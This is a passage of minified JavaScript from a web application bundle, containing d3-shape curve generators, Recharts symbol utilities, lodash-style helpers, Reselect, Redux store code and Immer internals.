1:this._point=2;break;case 2:this._point=3,this._context.lineTo((5*this._x0+this._x1)/6,(5*this._y0+this._y1)/6);default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Vq(e){return new lR(e)}function sR(e){this._context=e}sR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._x0=this._x1=this._x2=this._x3=this._x4=this._y0=this._y1=this._y2=this._y3=this._y4=NaN,this._point=0},lineEnd:function(){switch(this._point){case 1:{this._context.moveTo(this._x2,this._y2),this._context.closePath();break}case 2:{this._context.moveTo((this._x2+2*this._x3)/3,(this._y2+2*this._y3)/3),this._context.lineTo((this._x3+2*this._x2)/3,(this._y3+2*this._y2)/3),this._context.closePath();break}case 3:{this.point(this._x2,this._y2),this.point(this._x3,this._y3),this.point(this._x4,this._y4);break}}},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._x2=e,this._y2=t;break;case 1:this._point=2,this._x3=e,this._y3=t;break;case 2:this._point=3,this._x4=e,this._y4=t,this._context.moveTo((this._x0+4*this._x1+e)/6,(this._y0+4*this._y1+t)/6);break;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Kq(e){return new sR(e)}function cR(e){this._context=e}cR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===3)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1;break;case 1:this._point=2;break;case 2:this._point=3;var n=(this._x0+4*this._x1+e)/6,r=(this._y0+4*this._y1+t)/6;this._line?this._context.lineTo(n,r):this._context.moveTo(n,r);break;case 3:this._point=4;default:Rd(this,e,t);break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t}};function Yq(e){return new cR(e)}function uR(e){this._context=e}uR.prototype={areaStart:Pd,areaEnd:Pd,lineStart:function(){this._point=0},lineEnd:function(){this._point&&this._context.closePath()},point:function(e,t){e=+e,t=+t,this._point?this._context.lineTo(e,t):(this._point=1,this._context.moveTo(e,t))}};function Gq(e){return new uR(e)}function wC(e){return e<0?-1:1}function SC(e,t,n){var r=e._x1-e._x0,i=t-e._x1,l=(e._y1-e._y0)/(r||i<0&&-0),c=(n-e._y1)/(i||r<0&&-0),u=(l*i+c*r)/(r+i);return(wC(l)+wC(c))*Math.min(Math.abs(l),Math.abs(c),.5*Math.abs(u))||0}function OC(e,t){var n=e._x1-e._x0;return n?(3*(e._y1-e._y0)/n-t)/2:t}function Tg(e,t,n){var r=e._x0,i=e._y0,l=e._x1,c=e._y1,u=(l-r)/3;e._context.bezierCurveTo(r+u,i+u*t,l-u,c-u*n,l,c)}function Dd(e){this._context=e}Dd.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=this._t0=NaN,this._point=0},lineEnd:function(){switch(this._point){case 2:this._context.lineTo(this._x1,this._y1);break;case 3:Tg(this,this._t0,OC(this,this._t0));break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){var n=NaN;if(e=+e,t=+t,!(e===this._x1&&t===this._y1)){switch(this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;break;case 2:this._point=3,Tg(this,OC(this,n=SC(this,e,t)),n);break;default:Tg(this,this._t0,n=SC(this,e,t));break}this._x0=this._x1,this._x1=e,this._y0=this._y1,this._y1=t,this._t0=n}}};function fR(e){this._context=new dR(e)}(fR.prototype=Object.create(Dd.prototype)).point=function(e,t){Dd.prototype.point.call(this,t,e)};function dR(e){this._context=e}dR.prototype={moveTo:function(e,t){this._context.moveTo(t,e)},closePath:function(){this._context.closePath()},lineTo:function(e,t){this._context.lineTo(t,e)},bezierCurveTo:function(e,t,n,r,i,l){this._context.bezierCurveTo(t,e,r,n,l,i)}};function Wq(e){return new Dd(e)}function Xq(e){return new fR(e)}function hR(e){this._context=e}hR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x=[],this._y=[]},lineEnd:function(){var e=this._x,t=this._y,n=e.length;if(n)if(this._line?this._context.lineTo(e[0],t[0]):this._context.moveTo(e[0],t[0]),n===2)this._context.lineTo(e[1],t[1]);else for(var r=EC(e),i=EC(t),l=0,c=1;c=0;--t)i[t]=(c[t]-i[t+1])/l[t];for(l[n-1]=(e[n]+i[n-1])/2,t=0;t=0&&(this._t=1-this._t,this._line=1-this._line)},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:{if(this._t<=0)this._context.lineTo(this._x,t),this._context.lineTo(e,t);else{var n=this._x*(1-this._t)+e*this._t;this._context.lineTo(n,this._y),this._context.lineTo(n,t)}break}}this._x=e,this._y=t}};function Qq(e){return new Gh(e,.5)}function Jq(e){return new Gh(e,0)}function eF(e){return new Gh(e,1)}function co(e,t){if((c=e.length)>1)for(var n=1,r,i,l=e[t[0]],c,u=l.length;n=0;)n[t]=t;return n}function tF(e,t){return e[t]}function nF(e){const t=[];return t.key=e,t}function rF(){var e=rt([]),t=N0,n=co,r=tF;function i(l){var c=Array.from(e.apply(this,arguments),nF),u,f=c.length,h=-1,p;for(const m of l)for(u=0,++h;u0){for(var n,r,i=0,l=e[0].length,c;i0){for(var n=0,r=e[t[0]],i,l=r.length;n0)||!((l=(i=e[t[0]]).length)>0))){for(var n=0,r=1,i,l,c;r1&&arguments[1]!==void 0?arguments[1]:fF,n=10**t,r=Math.round(e*n)/n;return Object.is(r,-0)?0:r}function gt(e){for(var t=arguments.length,n=new Array(t>1?t-1:0),r=1;r{var u=n[c-1];return typeof u=="string"?i+u+l:u!==void 0?i+yi(u)+l:i+l},"")}var tn=e=>e===0?0:e>0?1:-1,Hr=e=>typeof e=="number"&&e!=+e,Ea=e=>typeof e=="string"&&e.indexOf("%")===e.length-1,Oe=e=>(typeof e=="number"||e instanceof Number)&&!Hr(e),qr=e=>Oe(e)||typeof e=="string",dF=0,Ac=e=>{var t=++dF;return"".concat(e||"").concat(t)},on=function(t,n){var r=arguments.length>2&&arguments[2]!==void 0?arguments[2]:0,i=arguments.length>3&&arguments[3]!==void 0?arguments[3]:!1;if(!Oe(t)&&typeof t!="string")return r;var l;if(Ea(t)){if(n==null)return r;var c=t.indexOf("%");l=n*parseFloat(t.slice(0,c))/100}else l=+t;return Hr(l)&&(l=r),i&&n!=null&&l>n&&(l=n),l},mR=e=>{if(!Array.isArray(e))return!1;for(var t=e.length,n={},r=0;rr&&(typeof t=="function"?t(r):uo(r,t))===n)}var Vt=e=>e===null||typeof e>"u",Yc=e=>Vt(e)?e:"".concat(e.charAt(0).toUpperCase()).concat(e.slice(1));function pF(e){return e!=null}function Gc(){}var mF=["type","size","sizeType"];function M0(){return M0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var t="symbol".concat(Yc(e));return vR[t]||sx},OF=(e,t,n)=>{if(t==="area")return e;switch(n){case"cross":return 5*e*e/9;case"diamond":return .5*e*e/Math.sqrt(3);case"square":return e*e;case"star":{var r=18*wF;return 1.25*e*e*(Math.tan(r)-Math.tan(r*2)*Math.tan(r)**2)}case"triangle":return Math.sqrt(3)*e*e/4;case"wye":return(21-10*Math.sqrt(3))*e*e/8;default:return Math.PI*e*e/4}},EF=(e,t)=>{vR["symbol".concat(Yc(e))]=t},gR=e=>{var{type:t="circle",size:n=64,sizeType:r="area"}=e,i=bF(e,mF),l=RC(RC({},i),{},{type:t,size:n,sizeType:r}),c="circle";typeof t=="string"&&(c=t);var u=()=>{var y=SF(c),x=Fq().type(y).size(OF(n,r,c)),S=x();if(S!==null)return S},{className:f,cx:h,cy:p}=l,m=ur(l);return Oe(h)&&Oe(p)&&Oe(n)?v.createElement("path",M0({},m,{className:Ye("recharts-symbols",f),transform:"translate(".concat(h,", ").concat(p,")"),d:u()})):null};gR.registerSymbol=EF;var yR=e=>"radius"in e&&"startAngle"in e&&"endAngle"in e,AF=(e,t)=>{if(!e||typeof e=="function"||typeof e=="boolean")return null;var n=e;if(v.isValidElement(e)&&(n=e.props),typeof n!="object"&&typeof n!="function")return null;var r={};return Object.keys(n).forEach(i=>{ix(i)&&(r[i]=(l=>n[i](n,l)))}),r},CF=(e,t,n)=>r=>(e(t,n,r),null),Wh=(e,t,n)=>{if(e===null||typeof e!="object"&&typeof e!="function")return null;var r=null;return Object.keys(e).forEach(i=>{var l=e[i];ix(i)&&typeof l=="function"&&(r||(r={}),r[i]=CF(l,t,n))}),r};function DC(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function _F(e){for(var t=1;t(c[u]===void 0&&r[u]!==void 0&&(c[u]=r[u]),c),n);return l}var Lg={},Ig={},kC;function jF(){return kC||(kC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){const i=new Map;for(let l=0;l=0}e.isLength=t})(Ug)),Ug}var zC;function dx(){return zC||(zC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=PF();function n(r){return r!=null&&typeof r!="function"&&t.isLength(r.length)}e.isArrayLike=n})(Bg)),Bg}var Hg={},$C;function RF(){return $C||($C=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="object"&&n!==null}e.isObjectLike=t})(Hg)),Hg}var BC;function DF(){return BC||(BC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=dx(),n=RF();function r(i){return n.isObjectLike(i)&&t.isArrayLike(i)}e.isArrayLikeObject=r})($g)),$g}var qg={},Fg={},UC;function kF(){return UC||(UC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=fx();function n(r){return function(i){return t.get(i,r)}}e.property=n})(Fg)),Fg}var Vg={},Kg={},Yg={},Gg={},HC;function xR(){return HC||(HC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n!==null&&(typeof n=="object"||typeof n=="function")}e.isObject=t})(Gg)),Gg}var Wg={},qC;function wR(){return qC||(qC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null||typeof n!="object"&&typeof n!="function"}e.isPrimitive=t})(Wg)),Wg}var Xg={},FC;function SR(){return FC||(FC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r){return n===r||Number.isNaN(n)&&Number.isNaN(r)}e.eq=t})(Xg)),Xg}var VC;function LF(){return VC||(VC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=xR(),n=wR(),r=SR();function i(p,m,y){return typeof y!="function"?i(p,m,()=>{}):l(p,m,function x(S,w,O,A,_,T){const j=y(S,w,O,A,_,T);return j!==void 0?!!j:l(S,w,x,T)},new Map)}function l(p,m,y,x){if(m===p)return!0;switch(typeof m){case"object":return c(p,m,y,x);case"function":return Object.keys(m).length>0?l(p,{...m},y,x):r.eq(p,m);default:return t.isObject(p)?typeof m=="string"?m==="":!0:r.eq(p,m)}}function c(p,m,y,x){if(m==null)return!0;if(Array.isArray(m))return f(p,m,y,x);if(m instanceof Map)return u(p,m,y,x);if(m instanceof Set)return h(p,m,y,x);const S=Object.keys(m);if(p==null||n.isPrimitive(p))return S.length===0;if(S.length===0)return!0;if(x?.has(m))return x.get(m)===p;x?.set(m,p);try{for(let w=0;w{})}e.isMatch=n})(Kg)),Kg}var Zg={},Qg={},Jg={},YC;function IF(){return YC||(YC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Object.getOwnPropertySymbols(n).filter(r=>Object.prototype.propertyIsEnumerable.call(n,r))}e.getSymbols=t})(Jg)),Jg}var ey={},GC;function ER(){return GC||(GC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n==null?n===void 0?"[object Undefined]":"[object Null]":Object.prototype.toString.call(n)}e.getTag=t})(ey)),ey}var ty={},WC;function AR(){return WC||(WC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t="[object RegExp]",n="[object String]",r="[object Number]",i="[object Boolean]",l="[object Arguments]",c="[object Symbol]",u="[object Date]",f="[object Map]",h="[object Set]",p="[object Array]",m="[object Function]",y="[object ArrayBuffer]",x="[object Object]",S="[object Error]",w="[object DataView]",O="[object Uint8Array]",A="[object Uint8ClampedArray]",_="[object Uint16Array]",T="[object Uint32Array]",j="[object BigUint64Array]",M="[object Int8Array]",P="[object Int16Array]",R="[object Int32Array]",I="[object BigInt64Array]",B="[object Float32Array]",q="[object Float64Array]";e.argumentsTag=l,e.arrayBufferTag=y,e.arrayTag=p,e.bigInt64ArrayTag=I,e.bigUint64ArrayTag=j,e.booleanTag=i,e.dataViewTag=w,e.dateTag=u,e.errorTag=S,e.float32ArrayTag=B,e.float64ArrayTag=q,e.functionTag=m,e.int16ArrayTag=P,e.int32ArrayTag=R,e.int8ArrayTag=M,e.mapTag=f,e.numberTag=r,e.objectTag=x,e.regexpTag=t,e.setTag=h,e.stringTag=n,e.symbolTag=c,e.uint16ArrayTag=_,e.uint32ArrayTag=T,e.uint8ArrayTag=O,e.uint8ClampedArrayTag=A})(ty)),ty}var ny={},XC;function zF(){return XC||(XC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return ArrayBuffer.isView(n)&&!(n instanceof DataView)}e.isTypedArray=t})(ny)),ny}var ZC;function CR(){return ZC||(ZC=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=IF(),n=ER(),r=AR(),i=wR(),l=zF();function c(p,m){return u(p,void 0,p,new Map,m)}function u(p,m,y,x=new Map,S=void 0){const w=S?.(p,m,y,x);if(w!==void 0)return w;if(i.isPrimitive(p))return p;if(x.has(p))return x.get(p);if(Array.isArray(p)){const O=new Array(p.length);x.set(p,O);for(let A=0;At.isMatch(l,i)}e.matches=r})(Vg)),Vg}var ry={},ay={},iy={},e_;function UF(){return e_||(e_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=CR(),n=AR();function r(i,l){return t.cloneDeepWith(i,(c,u,f,h)=>{const p=l?.(c,u,f,h);if(p!==void 0)return p;if(typeof i=="object")switch(Object.prototype.toString.call(i)){case n.numberTag:case n.stringTag:case n.booleanTag:{const m=new i.constructor(i?.valueOf());return t.copyProperties(m,i),m}case n.argumentsTag:{const m={};return t.copyProperties(m,i),m.length=i.length,m[Symbol.iterator]=i[Symbol.iterator],m}default:return}})}e.cloneDeepWith=r})(iy)),iy}var t_;function HF(){return t_||(t_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=UF();function n(r){return t.cloneDeepWith(r)}e.cloneDeep=n})(ay)),ay}var oy={},ly={},n_;function _R(){return n_||(n_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=/^(?:0|[1-9]\d*)$/;function n(r,i=Number.MAX_SAFE_INTEGER){switch(typeof r){case"number":return Number.isInteger(r)&&r>=0&&re,ft=()=>{var e=v.useContext(hx);return e?e.store.dispatch:eV},dd=()=>{},tV=()=>dd,nV=(e,t)=>e===t;function we(e){var t=v.useContext(hx);return JF.useSyncExternalStoreWithSelector(t?t.subscription.addNestedSub:tV,t?t.store.getState:dd,t?t.store.getState:dd,t?e:dd,nV)}function rV(e,t=`expected a function, instead received ${typeof e}`){if(typeof e!="function")throw new TypeError(t)}function aV(e,t=`expected an object, instead received ${typeof e}`){if(typeof e!="object")throw new TypeError(t)}function iV(e,t="expected all items to be functions, instead received the following types: "){if(!e.every(n=>typeof n=="function")){const n=e.map(r=>typeof r=="function"?`function ${r.name||"unnamed"}()`:typeof r).join(", ");throw new TypeError(`${t}[${n}]`)}}var d_=e=>Array.isArray(e)?e:[e];function oV(e){const t=Array.isArray(e[0])?e[0]:e;return iV(t,"createSelector expects all input-selectors to be functions, but received the following types: "),t}function lV(e,t){const n=[],{length:r}=e;for(let i=0;i{n=Kf(),c.resetResultsCount()},c.resultsCount=()=>l,c.resetResultsCount=()=>{l=0},c}function fV(e,...t){const n=typeof e=="function"?{memoize:e,memoizeOptions:t}:e,r=(...i)=>{let l=0,c=0,u,f={},h=i.pop();typeof h=="object"&&(f=h,h=i.pop()),rV(h,`createSelector expects an output function after the inputs, but received: [${typeof h}]`);const p={...n,...f},{memoize:m,memoizeOptions:y=[],argsMemoize:x=TR,argsMemoizeOptions:S=[]}=p,w=d_(y),O=d_(S),A=oV(i),_=m(function(){return l++,h.apply(null,arguments)},...w),T=x(function(){c++;const M=lV(A,arguments);return u=_.apply(null,M),u},...O);return Object.assign(T,{resultFunc:h,memoizedResultFunc:_,dependencies:A,dependencyRecomputations:()=>c,resetDependencyRecomputations:()=>{c=0},lastResult:()=>u,recomputations:()=>l,resetRecomputations:()=>{l=0},memoize:m,argsMemoize:x})};return Object.assign(r,{withTypes:()=>r}),r}var G=fV(TR),dV=Object.assign((e,t=G)=>{aV(e,`createStructuredSelector expects first argument to be an object where each property is a selector, instead received a ${typeof e}`);const n=Object.keys(e),r=n.map(l=>e[l]);return t(r,(...l)=>l.reduce((c,u,f)=>(c[n[f]]=u,c),{}))},{withTypes:()=>dV}),dy={},hy={},py={},p_;function hV(){return p_||(p_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(r){return typeof r=="symbol"?1:r===null?2:r===void 0?3:r!==r?4:0}const n=(r,i,l)=>{if(r!==i){const c=t(r),u=t(i);if(c===u&&c===0){if(ri)return l==="desc"?-1:1}return l==="desc"?u-c:c-u}return 0};e.compareValues=n})(py)),py}var my={},vy={},m_;function NR(){return m_||(m_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return typeof n=="symbol"||n instanceof Symbol}e.isSymbol=t})(vy)),vy}var v_;function pV(){return v_||(v_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=NR(),n=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,r=/^\w*$/;function i(l,c){return Array.isArray(l)?!1:typeof l=="number"||typeof l=="boolean"||l==null||t.isSymbol(l)?!0:typeof l=="string"&&(r.test(l)||!n.test(l))||c!=null&&Object.hasOwn(c,l)}e.isKey=i})(my)),my}var g_;function mV(){return g_||(g_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=hV(),n=pV(),r=ux();function i(l,c,u,f){if(l==null)return[];u=f?void 0:u,Array.isArray(l)||(l=Object.values(l)),Array.isArray(c)||(c=c==null?[null]:[c]),c.length===0&&(c=[null]),Array.isArray(u)||(u=u==null?[]:[u]),u=u.map(x=>String(x));const h=(x,S)=>{let w=x;for(let O=0;OS==null||x==null?S:typeof x=="object"&&"key"in x?Object.hasOwn(S,x.key)?S[x.key]:h(S,x.path):typeof x=="function"?x(S):Array.isArray(x)?h(S,x):typeof S=="object"?S[x]:S,m=c.map(x=>(Array.isArray(x)&&x.length===1&&(x=x[0]),x==null||typeof x=="function"||Array.isArray(x)||n.isKey(x)?x:{key:x,path:r.toPath(x)}));return l.map(x=>({original:x,criteria:m.map(S=>p(S,x))})).slice().sort((x,S)=>{for(let w=0;wx.original)}e.orderBy=i})(hy)),hy}var gy={},y_;function vV(){return y_||(y_=1,(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r=1){const i=[],l=Math.floor(r),c=(u,f)=>{for(let h=0;h1&&r.isIterateeCall(l,c[0],c[1])?c=[]:u>2&&r.isIterateeCall(c[0],c[1],c[2])&&(c=[c[0]]),t.orderBy(l,n.flatten(c),["asc"])}e.sortBy=i})(dy)),dy}var by,w_;function yV(){return w_||(w_=1,by=gV().sortBy),by}var bV=yV();const Xh=Vr(bV);var jR=e=>e.legend.settings,xV=e=>e.legend.size,wV=e=>e.legend.payload;G([wV,jR],(e,t)=>{var{itemSorter:n}=t,r=e.flat(1);return n?Xh(r,n):r});var Yf=1;function SV(){var e=arguments.length>0&&arguments[0]!==void 0?arguments[0]:[],[t,n]=v.useState({height:0,left:0,top:0,width:0}),r=v.useCallback(i=>{if(i!=null){var l=i.getBoundingClientRect(),c={height:l.height,left:l.left,top:l.top,width:l.width};(Math.abs(c.height-t.height)>Yf||Math.abs(c.left-t.left)>Yf||Math.abs(c.top-t.top)>Yf||Math.abs(c.width-t.width)>Yf)&&n({height:c.height,left:c.left,top:c.top,width:c.width})}},[t.width,t.height,t.top,t.left,...e]);return[t,r]}function Qt(e){return`Minified Redux error #${e}; visit https://redux.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var OV=typeof Symbol=="function"&&Symbol.observable||"@@observable",S_=OV,xy=()=>Math.random().toString(36).substring(7).split("").join("."),EV={INIT:`@@redux/INIT${xy()}`,REPLACE:`@@redux/REPLACE${xy()}`,PROBE_UNKNOWN_ACTION:()=>`@@redux/PROBE_UNKNOWN_ACTION${xy()}`},kd=EV;function px(e){if(typeof e!="object"||e===null)return!1;let t=e;for(;Object.getPrototypeOf(t)!==null;)t=Object.getPrototypeOf(t);return Object.getPrototypeOf(e)===t||Object.getPrototypeOf(e)===null}function PR(e,t,n){if(typeof e!="function")throw new Error(Qt(2));if(typeof t=="function"&&typeof n=="function"||typeof n=="function"&&typeof arguments[3]=="function")throw new Error(Qt(0));if(typeof t=="function"&&typeof n>"u"&&(n=t,t=void 0),typeof n<"u"){if(typeof n!="function")throw new Error(Qt(1));return n(PR)(e,t)}let r=e,i=t,l=new Map,c=l,u=0,f=!1;function h(){c===l&&(c=new Map,l.forEach((O,A)=>{c.set(A,O)}))}function p(){if(f)throw new Error(Qt(3));return i}function m(O){if(typeof O!="function")throw new Error(Qt(4));if(f)throw new Error(Qt(5));let A=!0;h();const _=u++;return c.set(_,O),function(){if(A){if(f)throw new Error(Qt(6));A=!1,h(),c.delete(_),l=null}}}function y(O){if(!px(O))throw new Error(Qt(7));if(typeof O.type>"u")throw new Error(Qt(8));if(typeof O.type!="string")throw new Error(Qt(17));if(f)throw new Error(Qt(9));try{f=!0,i=r(i,O)}finally{f=!1}return(l=c).forEach(_=>{_()}),O}function x(O){if(typeof O!="function")throw new Error(Qt(10));r=O,y({type:kd.REPLACE})}function S(){const O=m;return{subscribe(A){if(typeof A!="object"||A===null)throw new Error(Qt(11));function _(){const j=A;j.next&&j.next(p())}return _(),{unsubscribe:O(_)}},[S_](){return this}}}return y({type:kd.INIT}),{dispatch:y,subscribe:m,getState:p,replaceReducer:x,[S_]:S}}function AV(e){Object.keys(e).forEach(t=>{const n=e[t];if(typeof n(void 0,{type:kd.INIT})>"u")throw new Error(Qt(12));if(typeof n(void 0,{type:kd.PROBE_UNKNOWN_ACTION()})>"u")throw new Error(Qt(13))})}function RR(e){const t=Object.keys(e),n={};for(let l=0;l"u")throw u&&u.type,new Error(Qt(14));h[m]=S,f=f||S!==x}return f=f||r.length!==Object.keys(c).length,f?h:c}}function Ld(...e){return e.length===0?t=>t:e.length===1?e[0]:e.reduce((t,n)=>(...r)=>t(n(...r)))}function CV(...e){return t=>(n,r)=>{const i=t(n,r);let l=()=>{throw new Error(Qt(15))};const c={getState:i.getState,dispatch:(f,...h)=>l(f,...h)},u=e.map(f=>f(c));return l=Ld(...u)(i.dispatch),{...i,dispatch:l}}}function DR(e){return px(e)&&"type"in e&&typeof e.type=="string"}var kR=Symbol.for("immer-nothing"),O_=Symbol.for("immer-draftable"),dn=Symbol.for("immer-state");function br(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Bn=Object,Dl=Bn.getPrototypeOf,Id="constructor",Zh="prototype",j0="configurable",zd="enumerable",hd="writable",Cc="value",Aa=e=>!!e&&!!e[dn];function Ar(e){return e?LR(e)||Qh(e)||!!e[O_]||!!e[Id]?.[O_]||Jh(e)||ep(e):!1}var _V=Bn[Zh][Id].toString(),E_=new WeakMap;function LR(e){if(!e||!mx(e))return!1;const t=Dl(e);if(t===null||t===Bn[Zh])return!0;const n=Bn.hasOwnProperty.call(t,Id)&&t[Id];if(n===Object)return!0;if(!Sl(n))return!1;let r=E_.get(n);return r===void 0&&(r=Function.toString.call(n),E_.set(n,r)),r===_V}function Wc(e,t,n=!0){Xc(e)===0?(n?Reflect.ownKeys(e):Bn.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Xc(e){const t=e[dn];return t?t.type_:Qh(e)?1:Jh(e)?2:ep(e)?3:0}var A_=(e,t,n=Xc(e))=>n===2?e.has(t):Bn[Zh].hasOwnProperty.call(e,t),P0=(e,t,n=Xc(e))=>n===2?e.get(t):e[t],$d=(e,t,n,r=Xc(e))=>{r===2?e.set(t,n):r===3?e.add(n):e[t]=n};function TV(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}var Qh=Array.isArray,Jh=e=>e instanceof Map,ep=e=>e instanceof Set,mx=e=>typeof e=="object",Sl=e=>typeof e=="function",wy=e=>typeof e=="boolean";function NV(e){const t=+e;return Number.isInteger(t)&&String(t)===e}var pa=e=>e.copy_||e.base_,vx=e=>e.modified_?e.copy_:e.base_;function R0(e,t){if(Jh(e))return new Map(e);if(ep(e))return new Set(e);if(Qh(e))return Array[Zh].slice.call(e);const n=LR(e);if(t===!0||t==="class_only"&&!n){const r=Bn.getOwnPropertyDescriptors(e);delete r[dn];let i=Reflect.ownKeys(r);for(let l=0;l1&&Bn.defineProperties(e,{set:Gf,add:Gf,clear:Gf,delete:Gf}),Bn.freeze(e),t&&Wc(e,(n,r)=>{gx(r,!0)},!1)),e}function MV(){br(2)}var Gf={[Cc]:MV};function tp(e){return e===null||!mx(e)?!0:Bn.isFrozen(e)}var Bd="MapSet",D0="Patches",C_="ArrayMethods",IR={};function fo(e){const t=IR[e];return t||br(0,e),t}var __=e=>!!IR[e],_c,zR=()=>_c,jV=(e,t)=>({drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0,handledSet_:new Set,processedForPatches_:new Set,mapSetPlugin_:__(Bd)?fo(Bd):void 0,arrayMethodsPlugin_:__(C_)?fo(C_):void 0});function T_(e,t){t&&(e.patchPlugin_=fo(D0),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function k0(e){L0(e),e.drafts_.forEach(PV),e.drafts_=null}function L0(e){e===_c&&(_c=e.parent_)}var N_=e=>_c=jV(_c,e);function PV(e){const t=e[dn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function M_(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];if(e!==void 0&&e!==n){n[dn].modified_&&(k0(t),br(4)),Ar(e)&&(e=j_(t,e));const{patchPlugin_:i}=t;i&&i.generateReplacementPatches_(n[dn].base_,e,t)}else e=j_(t,n);return RV(t,e,!0),k0(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==kR?e:void 0}function j_(e,t){if(tp(t))return t;const n=t[dn];if(!n)return yx(t,e.handledSet_,e);if(!np(n,e))return t;if(!n.modified_)return n.base_;if(!n.finalized_){const{callbacks_:r}=n;if(r)for(;r.length>0;)r.pop()(e);UR(n,e)}return n.copy_}function RV(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&gx(t,n)}function $R(e){e.finalized_=!0,e.scope_.unfinalizedDrafts_--}var np=(e,t)=>e.scope_===t,DV=[];function BR(e,t,n,r){const i=pa(e),l=e.type_;if(r!==void 0&&P0(i,r,l)===t){$d(i,r,n,l);return}if(!e.draftLocations_){const u=e.draftLocations_=new Map;Wc(i,(f,h)=>{if(Aa(h)){const p=u.get(h)||[];p.push(f),u.set(h,p)}})}const c=e.draftLocations_.get(t)??DV;for(const u of c)$d(i,u,n,l)}function kV(e,t,n){e.callbacks_.push(function(i){const l=t;if(!l||!np(l,i))return;i.mapSetPlugin_?.fixSetContents(l);const c=vx(l);BR(e,l.draft_??l,c,n),UR(l,i)})}function UR(e,t){if(e.modified_&&!e.finalized_&&(e.type_===3||e.type_===1&&e.allIndicesReassigned_||(e.assigned_?.size??0)>0)){const{patchPlugin_:r}=t;if(r){const i=r.getPath(e);i&&r.generatePatches_(e,i,t)}$R(e)}}function LV(e,t,n){const{scope_:r}=e;if(Aa(n)){const i=n[dn];np(i,r)&&i.callbacks_.push(function(){pd(e);const c=vx(i);BR(e,n,c,t)})}else Ar(n)&&e.callbacks_.push(function(){const l=pa(e);P0(l,t,e.type_)===n&&r.drafts_.length>1&&(e.assigned_.get(t)??!1)===!0&&e.copy_&&yx(P0(e.copy_,t,e.type_),r.handledSet_,r)})}function yx(e,t,n){return!n.immer_.autoFreeze_&&n.unfinalizedDrafts_<1||Aa(e)||t.has(e)||!Ar(e)||tp(e)||(t.add(e),Wc(e,(r,i)=>{if(Aa(i)){const l=i[dn];if(np(l,n)){const c=vx(l);$d(e,r,c,e.type_),$R(l)}}else Ar(i)&&yx(i,t,n)})),e}function IV(e,t){const n=Qh(e),r={type_:n?1:0,scope_:t?t.scope_:zR(),modified_:!1,finalized_:!1,assigned_:void 0,parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1,callbacks_:void 0};let i=r,l=bx;n&&(i=[r],l=Tc);const{revoke:c,proxy:u}=Proxy.revocable(i,l);return r.draft_=u,r.revoke_=c,[u,r]}var 